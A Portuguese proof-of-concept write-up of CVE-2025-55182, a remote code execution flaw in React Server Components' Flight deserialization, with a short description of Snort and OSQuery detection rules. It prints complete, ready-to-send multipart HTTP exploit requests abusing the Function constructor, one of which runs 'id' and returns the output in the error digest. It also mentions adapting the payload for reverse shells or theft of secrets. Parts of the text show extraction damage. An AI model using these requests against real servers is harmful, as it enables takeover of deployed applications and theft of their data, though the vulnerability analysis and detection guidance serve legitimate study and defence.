
Exploit de prova de conceito demonstrando execução remota de código por meio de desserialização insegura no protocolo React Flight (CVE-2025-55182). Inclui regras de detecção para Snort e OSQuery.
React Server Components é um recurso introduzido no React 19 que permite que os componentes sejam renderizados no servidor em vez de no navegador do cliente. O servidor pode processar tarefas de computação complexas enquanto envia apenas o resultado já renderizado para o cliente.
A comunicação entre o servidor e o cliente no RSC é baseada no protocolo React Flight. Esse protocolo trata da serialização e desserialização dos dados transmitidos entre o servidor e o cliente. Quando um cliente precisa chamar uma função no servidor (Server Action), ele envia uma requisição com formato especial contendo os dados serializados para que o servidor os desserialize e processe.
O protocolo Flight usa um formato de serialização específico com marcadores de tipo de dados. Ex.:
É nesse mecanismo de serialização que reside a vulnerabilidade. O servidor processa essas referências sem validar corretamente se as propriedades solicitadas são realmente exports válidos do módulo pretendido.
A CVE-2025-55182 é, em essência, uma vulnerabilidade de desserialização insegura na forma como o RSC processa os payloads recebidos do protocolo Flight. A vulnerabilidade existe na função requireModule do pacote react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
O erro crítico está no acesso por notação de colchetes: moduleExports[metadata[2]]
Em JavaScript, ao acessar uma propriedade usando a notação de colchetes, o mecanismo JavaScript não verifica apenas as propriedades do próprio objeto, mas também percorre toda a cadeia de protótipos. Isso significa que o atacante pode referenciar propriedades que não são exportadas explicitamente pelo módulo.
O mais importante: toda função em JavaScript possui uma propriedade constructor que aponta para o construtor Function. Ao acessar someFunction.constructor, o atacante obtém uma referência ao construtor global Function, que pode executar código JavaScript arbitrário quando chamado com um argumento em formato de string.
A vulnerabilidade se torna explorável porque o protocolo Flight do React permite que o cliente especifique esses caminhos de propriedade por meio da sintaxe de referência separada por dois pontos. O atacante pode criar uma referência como $1:constructor:constructor, que realiza o seguinte percurso:
.constructor dele (obtendo o Function Constructor).constructor mais uma vez (ainda é o Function Constructor, mas confirma a cadeia de acesso)A PoC começa enviando uma requisição multipart form com três campos. O primeiro campo contém um objeto Chunk falso criado deliberadamente:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Esse objeto simula a estrutura interna da classe chunk do React. Ao definir then referenciando Chunk.prototype.then, ele cria uma estrutura autorreferente. Quando o React processa e faz await desse Chunk, o método then é chamado com o Chunk falso como contexto this.
O próximo componente crítico é a referência $B1337. No protocolo Flight do React, o prefixo $B indica uma referência a Blob. Quando o React processa a referência Blob, ele chama uma função que usa: response._formData.get(response._prefix + id)
Aqui, o objeto _response teve propriedades maliciosas inseridas. Quando o manipulador de Blob executa: response._formData.get(response._prefix + id)
Na prática, ele executa: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
A razão é que _formData.get foi definido como $1:constructor:constructor, referência que é resolvida para Function constructor. O valor _prefix contém o trecho de código malicioso. Quando combinados, o Function constructor é chamado com a string maliciosa como argumento, criando e executando uma função que contém código JS arbitrário.
O payload process.mainModule.require('child_process').execSync('xcalc') ilustra a capacidade dessa exploração. O payload:
process.mainModule (o módulo principal em execução)require para carregar o módulo child_processexecSync para executar um comando do SOxcalc) para demonstrar a exploração bem-sucedidaEsse payload pode ser modificado para estabelecer um reverse shell, extrair variáveis de ambiente que contêm informações secretas, ler arquivos sensíveis ou realizar qualquer operação que o processo Node.js tenha permissão para executar.
Veja uma requisição completa na PoC de maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
O cabeçalho Next-Action: x ativa o mecanismo de processamento de Server Action do React. O corpo consiste em 3 partes:
_response maliciosa.$@0 aponta de volta para o campo 0, criando uma estrutura autorreferente.Quando o servidor processa essa requisição, ele desserializa o campo 0, encontra a referência $@0 no campo 1, define a propriedade then autorreferente e então aciona o manipulador de Blob, que executa o código por meio do Function constructor.
A CVE-2025-55182 afeta React Server Components nas seguintes versões:
Essa vulnerabilidade é perigosa porque:
create-next-app pode ser explorada sem precisar alterar o código-fonte.De acordo com o Shodan, há mais de 571.000 servidores públicos usando componentes React e 444.000 servidores usando Next.js. Embora nem todos executem as versões afetadas, a superfície de ataque potencial é enorme.
Uma requisição de ataque deve obrigatoriamente ter a combinação dos seguintes elementos muito específicos:
Next-Action e o formato dos dados é multipart/form-data.Como funciona: esta regra do Snort bloqueará/alertará sobre tráfego de rede direcionado ao servidor (to_server) que apresente os sinais anômalos mencionados na seção 2 (Headers + PCRE verificando a string do payload malicioso).
Objetivo: detectar e impedir a exploração assim que ela estiver ocorrendo no tráfego de rede.
Como funciona: executa consultas de varredura periodicamente no servidor ou no processo de build de software (CI/CD) para encontrar pacotes de bibliotecas Node.js (npm_packages) afetados pela falha.
Pacotes alvo: react-server-dom-parcel, react-server-dom-turbopack e react-server-dom-webpack
Versões com falha verificadas: 19.0.0, 19.1.0 até abaixo de 19.1.2, e 19.2.0.
Objetivo: detectar proativamente aplicações em risco antes que cheguem ao ambiente de produção
Payload para o laboratório:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--